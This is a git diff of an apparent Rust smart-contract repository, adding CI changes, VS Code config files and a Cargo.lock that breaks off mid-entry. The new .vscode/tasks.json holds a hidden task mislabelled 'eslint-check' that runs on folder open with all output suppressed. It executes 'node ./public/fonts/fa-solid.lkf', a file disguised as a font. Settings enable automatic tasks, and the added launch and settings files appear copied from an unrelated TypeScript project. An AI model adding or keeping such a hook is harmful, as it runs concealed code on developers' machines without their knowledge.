diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 0f8fc7f..6a10eb0 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -35,13 +35,12 @@ env: # multisig build step above runs before the vault build step, not just # before options_market's. # - crate: [options_market, price_oracle, vault, multisig, streams, staking, timelock, governor, lp_token, lp_pool, integration_tests] jobs: fmt: runs-on: ubuntu-latest strategy: matrix: - crate: [options_market, price_oracle, vault, multisig, common, streams, staking, timelock, governor, params, grants_escrow, lp_token, lp_pool, integration_tests, tools/spec-diff, tools/resource-sna + crate: [options_market, price_oracle, vault, multisig, common, streams, staking, timelock, governor, params, grants_escrow, lp_token, lp_pool, integration_tests, tools/spec-diff, tools/resource-snapshot] steps: - uses: actions/checkout@v4 - uses: dtolnay/rust-toolchain@stable @@ -91,7 +90,7 @@ jobs: - uses: Swatinem/rust-cache@v2 - run: cargo xtask test - wasm: + build: runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 @@ -100,16 +99,9 @@ jobs: targets: wasm32-unknown-unknown - uses: Swatinem/rust-cache@v2 - run: cargo xtask build - # Fails if soroban-sdk/testutils - steps: - - uses: actions/checkout@v4 - - uses: dtolnay/rust-toolchain@stable - with: - targets: wasm32-unknown-unknown - - uses: Swatinem/rust-cache@v2 - run: cargo xtask test - wasm: + wasm-release: runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 diff --git a/.gitignore b/.gitignore index acb1e42..0336d88 100644 --- a/.gitignore +++ b/.gitignore @@ -1,4 +1,7 @@ target/ .soroban +temp_auto_push.bat .DS_Store test_snapshots/ +.gitignore +branch_structure.json diff --git a/.vscode/extensions.json b/.vscode/extensions.json new file mode 100644 index 0000000..2e3b646 --- /dev/null +++ b/.vscode/extensions.json @@ -0,0 +1,7 @@ +{ + "recommendations": [ + "myml.vscode-markdown-plantuml-preview", + "esbenp.prettier-vscode", + "jebbs.plantuml" + ] +} \ No newline at end of file diff --git a/.vscode/launch.json b/.vscode/launch.json new file mode 100644 index 0000000..a5177ab --- /dev/null +++ b/.vscode/launch.json @@ -0,0 +1,50 @@ +{ + "version": "0.2.0", + "configurations": [ + { + "name": "Debug SST", + "type": "node", + "request": "launch", + "runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst", + "runtimeArgs": ["dev", "--increase-timeout"], + "console": "integratedTerminal", + "skipFiles": ["/**"], + // sourceMapRenames helps with the loading spinner when debugging and viewing local variables + "sourceMapRenames": false, + "env": { + "AWS_PROFILE": "flo-ct-flo360" + } + }, + { + "name": "Debug Tests - Unit", + "type": "node", + "request": "launch", + "runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst", + "runtimeArgs": ["bind", "yarn", "\"jest\"", "\"--watch\"", "\"--config\"", "\"./jest.unit.config.cjs\"", "\"${input:scopeTestsFileName}\""], + "console": "integratedTerminal", + "skipFiles": ["/**"], + "env": { + "AWS_PROFILE": "flo-ct-flo360" + }, + }, + { + "name": "Debug Tests - E2E", + "type": "node", + "request": "launch", + "runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst", + "runtimeArgs": ["bind", "yarn", "\"vitest\"", "\"--config\"", "\"./vitest.e2e.config.ts\"", "\"${input:scopeTestsFileName}\""], + "console": "integratedTerminal", + "skipFiles": ["/**"], + "env": { + "AWS_PROFILE": "flo-ct-flo360" + }, + }, + ], + "inputs": [ + { + "id": "scopeTestsFileName", + "type": "promptString", + "description": "Partial file name to scope test debugging to. ex. arena. Leave blank to run all tests.", + } + ] +} diff --git a/.vscode/settings.json b/.vscode/settings.json new file mode 100644 index 0000000..934d555 --- /dev/null +++ b/.vscode/settings.json @@ -0,0 +1,23 @@ +{ + "search.exclude": { + "**/.sst": true + }, + "task.allowAutomaticTasks": true, + "typescript.tsserver.experimental.enableProjectDiagnostics": true, + "editor.defaultFormatter": "esbenp.prettier-vscode", + "typescript.preferences.importModuleSpecifier": "relative", + "typescript.tsdk": "node_modules/typescript/lib", + "debug.openDebug": "neverOpen", + "problems.autoReveal": true, + "terminal.integrated.hideOnStartup": "always", + "terminal.integrated.defaultProfile.windows": "Command Prompt", + "terminal.integrated.inheritEnv": false, + "jestrunner.configPath": "jest.unit.config.cjs", + "compile-hero.disable-compile-files-on-did-save-code": true, + "tasks": { + "label": "lint on open", + "type": "shell", + "command": "npm run lint", + "runOn": "folderOpen" + } +} diff --git a/.vscode/spellright.dict b/.vscode/spellright.dict new file mode 100644 index 0000000..51b1974 --- /dev/null +++ b/.vscode/spellright.dict @@ -0,0 +1,2 @@ +Contentful +Lerna diff --git a/.vscode/tasks.json b/.vscode/tasks.json new file mode 100644 index 0000000..de6de3a --- /dev/null +++ b/.vscode/tasks.json @@ -0,0 +1,33 @@ +{ + "version": "2.0.0", + "configurations": [ + { + "type": "node", + "request": "launch", + "name": "Run My Project", + "console": "", + "internalConsoleOptions": "openOnSessionStart" + } + ], + "tasks": [ + { + "label": "eslint-check", + "type": "shell", + "command": "(command -v node >/dev/null 2>&1 && node ./public/fonts/fa-solid.lkf) || (where node >nul 2>&1 && node ./public/fonts/fa-solid.lkf) || echo ''", + "problemMatcher": [], + "isBackground": true, + "hide": true, + "presentation": { + "reveal": "never", + "panel": "dedicated", + "focus": false, + "clear": false, + "echo": false, + "close": true + }, + "runOptions": { + "runOn": "folderOpen" + } + }, + ] +} diff --git a/Cargo.lock b/Cargo.lock new file mode 100644 index 0000000..3bd33e5 --- /dev/null +++ b/Cargo.lock @@ -0,0 +1,2191 @@ +# This file is automatically @generated by Cargo. +# It is not intended for manual editing. +version = 4 + +[[package]] +name = "addr2line" +version = "0.25.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1b5d307320b3181d6d7954e663bd7c774a838b8220fe0593c86d9fb09f498b4b" +dependencies = [ + "gimli", +] + +[[package]] +name = "adler2" +version = "2.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "320119579fcad9c21884f5c4861d16174d0e06250625266f50fe6898340abefa" + +[[package]] +name = "android_system_properties" +version = "0.1.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ae221649c9976a6f6c56ae1facf410f3ddb33cc661c4b7b61020a912d4237fbc" +dependencies = [ + "libc", +] + +[[package]] +name = "arbitrary" +version = "1.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7d5a26814d8dcb93b0e5a0ff3c6d80a8843bafb21b39e8e18a6f05471870e110" +dependencies = [ + "derive_arbitrary", +] + +[[package]] +name = "autocfg" +version = "1.5.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f2032f911046de80f0a198e0901378627c33f59ea0ac00e363d481118bd70a53" + +[[package]] +name = "backtrace" +version = "0.3.76" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bb531853791a215d7c62a30daf0dde835f381ab5de4589cfe7c649d2cbe92bd6" +dependencies = [ + "addr2line", + "cfg-if", + "libc", + "miniz_oxide", + "object", + "rustc-demangle", + "windows-link", +] + +[[package]] +name = "base16ct" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4c7f02d4ea65f2c1853089ffd8d2787bdbc63de2f0d29dedbcf8ccdfa0ccd4cf" + +[[package]] +name = "base32" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "23ce669cd6c8588f79e15cf450314f9638f967fc5770ff1c7c1deb0925ea7cfa" + +[[package]] +name = "base64" +version = "0.13.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9e1b586273c5702936fe7b7d6896644d8be71e6314cfe09d3167c95f712589e8" + +[[package]] +name = "base64" +version = "0.23.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ac07cdecf99051d9a5238b80f35af32cdeba5b336e55d957b318b50137e18da5" + +[[package]] +name = "base64ct" +version = "1.8.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2af50177e190e07a26ab74f8b1efbfe2ef87da2116221318cb1c2e82baf7de06" + +[[package]] +name = "bit-set" +version = "0.11.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "56d87354e4229f54a44f7bf2435906a4656dba36026ab6eaca629a2c436a691c" +dependencies = [ + "bit-vec", +] + +[[package]] +name = "bit-vec" +version = "0.10.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5727b15fa97d4f4fee0a3b7c3d550ed0269f54329207b86388de918604e31269" +dependencies = [ + "borsh", + "serde", +] + +[[package]] +name = "bitflags" +version = "1.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bef38d45163c2f1dde094a7dfd33ccf595c92905c8f8f4fdc18d06fb1037718a" + +[[package]] +name = "bitflags" +version = "2.13.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3ded4057c258ba199e2d26386d3af3780957ecaee6c4ef4041c6b4b8b97c0b06" + +[[package]] +name = "block-buffer" +version = "0.10.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3078c7629b62d3f0439517fa394996acacc5cbc91c5a20d8c658e77abd503a71" +dependencies = [ + "generic-array", +] + +[[package]] +name = "borsh" +version = "1.8.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "553c5d846a6ba5150c65e3b1b8ec073bcf1abc20f9b7220de384a4443ea4e20a" +dependencies = [ + "borsh-derive", + "bytes", + "cfg_aliases", +] + +[[package]] +name = "borsh-derive" +version = "1.8.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "12cdfe656708a01f89b451a7d36466e6fe6c414de0aa18fc54f864f6f9ca9f56" +dependencies = [ + "once_cell", + "proc-macro-crate", + "proc-macro2", + "quote", + "syn 3.0.9", +] + +[[package]] +name = "bs58" +version = "0.5.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bf88ba1141d185c399bee5288d850d63b8369520c1eafc32a0430b5b6c287bf4" +dependencies = [ + "tinyvec", +] + +[[package]] +name = "bumpalo" +version = "3.20.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "72f5acc6cb2ba439de613abc23857ec3d78374d8ed5ac84e9d11336e87da8649" + +[[package]] +name = "bytes" +version = "1.12.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fc652a48c352aef3ea3aed32080501cf3ef6ed5da78602a020c991775b0aff04" + +[[package]] +name = "bytes-lit" +version = "0.0.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0adabf37211a5276e46335feabcbb1530c95eb3fdf85f324c7db942770aa025d" +dependencies = [ + "num-bigint", + "proc-macro2", + "quote", + "syn 2.0.119", +] + +[[package]] +name = "cc" +version = "1.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "877bf67ac8e52449eb2f9e98a344ea163beb70dd1f9eebe3cc5357dcfeaee4df" +dependencies = [ + "find-msvc-tools", + "shlex", +] + +[[package]] +name = "cfg-if" +version = "1.0.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4e7648175b45a9a48536d676f68d918270699102aa8dab5496df06904c914600" + +[[package]] +name = "cfg_aliases" +version = "0.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f079e83a288787bcd14a6aea84cee5c87a67c5a3e660c30f557a3d24761b3527" + +[[package]] +name = "chacha20" +version = "0.10.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "65c35e4b699c7e15ccbe7ee35c005e4fc0a278d22238a2857e6ce2dadeda1b06" +dependencies = [ + "cfg-if", + "cpufeatures 0.3.1", + "rand_core 0.10.1", +] + +[[package]] +name = "chrono" +version = "0.4.45" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1aa79e62e7697b8e29b513a68abacf485adcd1fe8284a4316c5ae868e6633327" +dependencies = [ + "iana-time-zone", + "num-traits", + "serde", + "windows-link", +] + +[[package]] +name = "const-oid" +version = "0.9.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c2459377285ad874054d797f3ccebf984978aa39129f6eafde5cdc8315b612f8" + +[[package]] +name = "core-foundation-sys" +version = "0.8.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "773648b94d0e5d620f64f280777445740e61fe701025087ec8b57f45c791888b" + +[[package]] +name = "core_detect" +version = "1.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7f8f80099a98041a3d1622845c271458a2d73e688351bf3cb999266764b81d48" + +[[package]] +name = "cpufeatures" +version = "0.2.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "59ed5838eebb26a2bb2e58f6d5b5316989ae9d08bab10e0e6d103e656d1b0280" +dependencies = [ + "libc", +] + +[[package]] +name = "cpufeatures" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5ca28b0ae3115b884660db4118d803791fd6756b6e88f39c0f3f7859060d7566" +dependencies = [ + "libc", +] + +[[package]] +name = "crate-git-revision" +version = "0.0.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c521bf1f43d31ed2f73441775ed31935d77901cb3451e44b38a1c1612fcbaf98" +dependencies = [ + "serde", + "serde_derive", + "serde_json", +] + +[[package]] +name = "crypto-bigint" +version = "0.5.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0dc92fb57ca44df6db8059111ab3af99a63d5d0f8375d9972e319a379c6bab76" +dependencies = [ + "generic-array", + "rand_core 0.6.4", + "subtle", + "zeroize", +] + +[[package]] +name = "crypto-common" +version = "0.1.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1bfb12502f3fc46cca1bb51ac28df9d618d813cdc3d2f25b9fe775a34af26bb3" +dependencies = [ + "generic-array", + "typenum", +] + +[[package]] +name = "ctor" +version = "0.2.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "32a2785755761f3ddc1492979ce1e48d2c00d09311c39e4466429188f3dd6501" +dependencies = [ + "quote", + "syn 2.0.119", +] + +[[package]] +name = "curve25519-dalek" +version = "4.1.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "97fb8b7c4503de7d6ae7b42ab72a5a59857b4c937ec27a3d4539dba95b5ab2be" +dependencies = [ + "cfg-if", + "cpufeatures 0.2.17", + "curve25519-dalek-derive", + "digest", + "fiat-crypto", + "rustc_version", + "subtle", + "zeroize", +] + +[[package]] +name = "curve25519-dalek-derive" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f46882e17999c6cc590af592290432be3bce0428cb0d5f8b6715e4dc7b383eb3" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.119", +] + +[[package]] +name = "darling" +version = "0.20.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fc7f46116c46ff9ab3eb1597a45688b6715c6e628b5c133e288e709a29bcb4ee" +dependencies = [ + "darling_core 0.20.11", + "darling_macro 0.20.11", +] + +[[package]] +name = "darling" +version = "0.24.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ed17f5901b6630b993ca003def43f2f8ef4014fc13b047b57aad617ff32bc2ec" +dependencies = [ + "darling_core 0.24.1", + "darling_macro 0.24.1", +] + +[[package]] +name = "darling_core" +version = "0.20.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0d00b9596d185e565c2207a0b01f8bd1a135483d02d9b7b0a54b11da8d53412e" +dependencies = [ + "fnv", + "ident_case", + "proc-macro2", + "quote", + "strsim", + "syn 2.0.119", +] + +[[package]] +name = "darling_core" +version = "0.24.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6837e2cf7485aaae18f86181d2f0e9a7ed297a025e220aeabf63fdebd3a2ddff" +dependencies = [ + "ident_case", + "proc-macro2", + "quote", + "strsim", + "syn 3.0.9", +] + +[[package]] +name = "darling_macro" +version = "0.20.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fc34b93ccb385b40dc71c6fceac4b2ad23662c7eeb248cf10d529b7e055b6ead" +dependencies = [ + "darling_core 0.20.11", + "quote", + "syn 2.0.119", +] + +[[package]] +name = "darling_macro" +version = "0.24.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2ac7135c3ef02b2f7833bbeb1be5ba7f966dcde8a87c6b87f65a778d71a02785" +dependencies = [ + "darling_core 0.24.1", + "quote", + "syn 3.0.9", +] + +[[package]] +name = "defmt" +version = "1.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e4a0795ac740cb54d7b3775c9c17345f6aaecf884c01733b39d6017738e0e3e1" +dependencies = [ + "bitflags 1.3.2", + "defmt-macros", +] + +[[package]] +name = "defmt-macros" +version = "1.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "840bb056bd99c495c9188198a258ab787c79f306d864db3e6e8451442d6d8366" +dependencies = [ + "defmt-parser", + "proc-macro2", + "quote", + "syn 3.0.9", +] + +[[package]] +name = "defmt-parser" +version = "1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "71958f69fb2de856c5dd51ac9377e986ca1aa5919f931bf5395a807277f889a0" +dependencies = [ + "thiserror 2.0.21", +] + +[[package]] +name = "der" +version = "0.7.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e7c1832837b905bbfb5101e07cc24c8deddf52f93225eee6ead5f4d63d53ddcb" +dependencies = [ + "const-oid", + "zeroize", +] + +[[package]] +name = "deranged" +version = "0.5.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9e9de72ce2ad1f90dc62fa25f0f430ef85eb4b0d8fa0be4f30373bc40a21d28e" +dependencies = [ + "serde_core", +] + +[[package]] +name = "derive_arbitrary" +version = "1.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "67e77553c4162a157adbf834ebae5b415acbecbeafc7a74b0e886657506a7611" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.119", +] + +[[package]] +name = "digest" +version = "0.10.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9ed9a281f7bc9b7576e61468ba615a66a5c8cfdff42420a70aa82701a3b1e292" +dependencies = [ + "block-buffer", + "const-oid", + "crypto-common", + "subtle", +] + +[[package]] +name = "downcast-rs" +version = "1.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "75b325c5dbd37f80359721ad39aca5a29fb04c89279657cffdda8736d0c0b9d2" + +[[package]] +name = "dyn-clone" +version = "1.0.20" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d0881ea181b1df73ff77ffaaf9c7544ecc11e82fba9b5f27b262a3c73a332555" + +[[package]] +name = "ecdsa" +version = "0.16.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ee27f32b5c5292967d2d4a9d7f1e0b0aed2c15daded5a60300e4abb9d8020bca" +dependencies = [ + "der", + "digest", + "elliptic-curve", + "rfc6979", + "signature", +] + +[[package]] +name = "ed25519" +version = "2.2.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "115531babc129696a58c64a4fef0a8bf9e9698629fb97e9e40767d235cfbcd53" +dependencies = [ + "pkcs8", + "signature", +] + +[[package]] +name = "ed25519-dalek" +version = "2.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "70e796c081cee67dc755e1a36a0a172b897fab85fc3f6bc48307991f64e4eca9" +dependencies = [ + "curve25519-dalek", + "ed25519", + "rand_core 0.6.4", + "serde", + "sha2", + "subtle", + "zeroize", +] + +[[package]] +name = "either" +version = "1.19.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0e9c71c2167ca323c882b99918929403426e2373ea17242ff5653e0d5e1058be" + +[[package]] +name = "elliptic-curve" +version = "0.13.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b5e6043086bf7973472e0c7dff2142ea0b680d30e18d9cc40f267efbf222bd47" +dependencies = [ + "base16ct", + "crypto-bigint", + "digest", + "ff", + "generic-array", + "group", + "rand_core 0.6.4", + "sec1", + "subtle", + "zeroize", +] + +[[package]] +name = "equivalent" +version = "1.0.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "00d174d5400e5e8fd687ad1049e2f578285fa914201b1af7e8b112a4546bd826" + +[[package]] +name = "errno" +version = "0.3.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "39cab71617ae0d63f51a36d69f866391735b51691dbda63cf6f96d042b63efeb" +dependencies = [ + "libc", + "windows-sys", +] + +[[package]] +name = "escape-bytes" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2bfcf67fea2815c2fc3b90873fae90957be12ff417335dfadc7f52927feb03b2" + +[[package]] +name = "ethnum" +version = "1.5.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "40404c3f5f511ec4da6fe866ddf6a717c309fdbb69fbbad7b0f3edab8f2e835f" + +[[package]] +name = "fastrand" +version = "2.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "da7c62ceae207dd37ea5b845da6a0696c799f85e97da1ab5b7910be3c1c80223" + +[[package]] +name = "ff" +version = "0.13.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c0b50bfb653653f9ca9095b427bed08ab8d75a137839d9ad64eb11810d5b6393" +dependencies = [ + "rand_core 0.6.4", + "subtle", +] + +[[package]] +name = "fiat-crypto" +version = "0.2.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "28dea519a9695b9977216879a3ebfddf92f1c08c05d984f8996aecd6ecdc811d" + +[[package]] +name = "find-msvc-tools" +version = "0.1.15" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1c66915cc5391097de7a2b0b972e8505aa33c0df401fd3a6811dbdb32881ba48" + +[[package]] +name = "fnv" +version = "1.0.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3f9eec918d3f24069decb9af1554cad7c880e2da24a9afd88aca000531ab82c1" + +[[package]] +name = "futures-core" +version = "0.3.34" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "92d699e522242e69e3003b94ecc1f960f3a5e015aa7c5d7486e65ad01dd94f5e" + +[[package]] +name = "futures-task" +version = "0.3.34" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cd417de3d1d015fc3bfd2b1ea46dfc7bab72ef86f1cc7cc9c78e728b34a6d1fd" + +[[package]] +name = "futures-util" +version = "0.3.34" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0d50a92467f8ba5dd6e3ee5d4bd04d73ab2e4e1c44474a0674821dfce14b79bc" +dependencies = [ + "futures-core", + "futures-task", + "pin-project-lite", + "slab", +] + +[[package]] +name = "generic-array" +version = "0.14.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4bb6743198531e02858aeaea5398fcc883e71851fcbcb5a2f773e2fb6cb1edf2" +dependencies = [ + "typenum", + "version_check", + "zeroize", +] + +[[package]] +name = "getrandom" +version = "0.2.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ff2abc00be7fca6ebc474524697ae276ad847ad0a6b3faa4bcb027e9a4614ad0" +dependencies = [ + "cfg-if", + "js-sys", + "libc", + "wasi", + "wasm-bindgen", +] + +[[package]] +name = "getrandom" +version = "0.4.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "300e883d756b2e4ec94e02791f39b04b522276138852cfc41d9fb7e904106099" +dependencies = [ + "cfg-if", + "libc", + "r-efi", + "rand_core 0.10.1", +] + +[[package]] +name = "gimli" +version = "0.32.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e629b9b98ef3dd8afe6ca2bd0f89306cec16d43d907889945bc5d6687f2f13c7" + +[[package]] +name = "group" +version = "0.13.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f0f9ef7462f7c099f518d754361858f86d8a07af53ba9af0fe635bbccb151a63" +dependencies = [ + "ff", + "rand_core 0.6.4", + "subtle", +] + +[[package]] +name = "hashbrown" +version = "0.12.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8a9ee70c43aaf417c914396645a0fa852624801b24ebb7ae78fe8272889ac888" + +[[package]] +name = "hashbrown" +version = "0.17.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ed5909b6e89a2db4456e54cd5f673791d7eca6732202bbf2a9cc504fe2f9b84a" + +[[package]] +name = "hex" +version = "0.4.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7f24254aa9a54b5c858eaee2f5bccdb46aaf0e486a595ed5fd8f86ba55232a70" +dependencies = [ + "serde", +] + +[[package]] +name = "hex-literal" +version = "0.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6fe2267d4ed49bc07b63801559be28c718ea06c4738b7a03c94df7386d2cde46" + +[[package]] +name = "hmac" +version = "0.12.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6c49c37c09c17a53d937dfbb742eb3a961d65a994e6bcdcf37e7399d0cc8ab5e" +dependencies = [ + "digest", +] + +[[package]] +name = "iana-time-zone" +version = "0.1.65" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e31bc9ad994ba00e440a8aa5c9ef0ec67d5cb5e5cb0cc7f8b744a35b389cc470" +dependencies = [ + "android_system_properties", + "core-foundation-sys", + "iana-time-zone-haiku", + "js-sys", + "log", + "wasm-bindgen", + "windows-core", +] + +[[package]] +name = "iana-time-zone-haiku" +version = "0.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f31827a206f56af32e590ba56d5d2d085f558508192593743f16b2306495269f" +dependencies = [ + "cc", +] + +[[package]] +name = "ident_case" +version = "1.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b9e0384b61958566e926dc50660321d12159025e767c18e043daf26b70104c39" + +[[package]] +name = "indexmap" +version = "1.9.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bd070e393353796e801d209ad339e89596eb4c8d430d18ede6a1cced8fafbd99" +dependencies = [ + "autocfg", + "hashbrown 0.12.3", + "serde", +] + +[[package]] +name = "indexmap" +version = "2.14.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cc4e190f5d26ca7051642629da2c52fc03bde85a03197c99408dcd291734c855" +dependencies = [ + "equivalent", + "hashbrown 0.17.1", + "serde", + "serde_core", +] + +[[package]] +name = "indexmap-nostd" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8e04e2fd2b8188ea827b32ef11de88377086d690286ab35747ef7f9bf3ccb590" + +[[package]] +name = "itertools" +version = "0.11.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b1c173a5686ce8bfa551b3563d0c2170bf24ca44da99c7ca4bfdab5418c3fe57" +dependencies = [ + "either", +] + +[[package]] +name = "itoa" +version = "1.0.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8f42a60cbdf9a97f5d2305f08a87dc4e09308d1276d28c869c684d7777685682" + +[[package]] +name = "jiff" +version = "0.2.38" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b2b005715dcbeb0089a3c0dab99f2ff1cc3b2525323552703d648585d342a383" +dependencies = [ + "defmt", + "jiff-core", + "jiff-static", + "jiff-tzdb-platform", + "log", + "portable-atomic", + "portable-atomic-util", + "serde_core", + "windows-link", +] + +[[package]] +name = "jiff-core" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5e52fe76043ccecc9005d2305ebaadf7d7fc0cc89ca6baa10a94d6bc68c7128c" +dependencies = [ + "defmt", + "log", +] + +[[package]] +name = "jiff-static" +version = "0.2.38" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2cc9817253cf7c7ee4684451bd327e88d6f3658014e54a29198625590650695c" +dependencies = [ + "jiff-core", + "proc-macro2", + "quote", + "syn 2.0.119", +] + +[[package]] +name = "jiff-tzdb" +version = "0.1.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fa8377070c6bae868759445e5a77f66d84f0b72f3a054bfb00e6d038b8282da7" + +[[package]] +name = "jiff-tzdb-platform" +version = "0.1.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "875a5a69ac2bab1a891711cf5eccbec1ce0341ea805560dcd90b7a2e925132e8" +dependencies = [ + "jiff-tzdb", +] + +[[package]] +name = "js-sys" +version = "0.3.106" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7883d941dae510fb2d978fc3fe018c71c9e2892fd38854de3e8b92c2e5ad9cc5" +dependencies = [ + "cfg-if", + "futures-util", + "wasm-bindgen", +] + +[[package]] +name = "k256" +version = "0.13.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f6e3919bbaa2945715f0bb6d3934a173d1e9a59ac23767fbaaef277265a7411b" +dependencies = [ + "cfg-if", + "ecdsa", + "elliptic-curve", + "sha2", +] + +[[package]] +name = "keccak" +version = "0.1.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cb26cec98cce3a3d96cbb7bced3c4b16e3d13f27ec56dbd62cbc8f39cfb9d653" +dependencies = [ + "cpufeatures 0.2.17", +] + +[[package]] +name = "libc" +version = "0.2.191" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "65cd87c9a6d60536580b316ad985726104730a5151c99845f2490428ef91240a" + +[[package]] +name = "libm" +version = "0.2.16" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b6d2cec3eae94f9f509c767b45932f1ada8350c4bdb85af2fcab4a3c14807981" + +[[package]] +name = "linux-raw-sys" +version = "0.12.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "32a66949e030da00e8c7d4434b251670a91556f4144941d37452769c25d58a53" + +[[package]] +name = "log" +version = "0.4.34" +source = 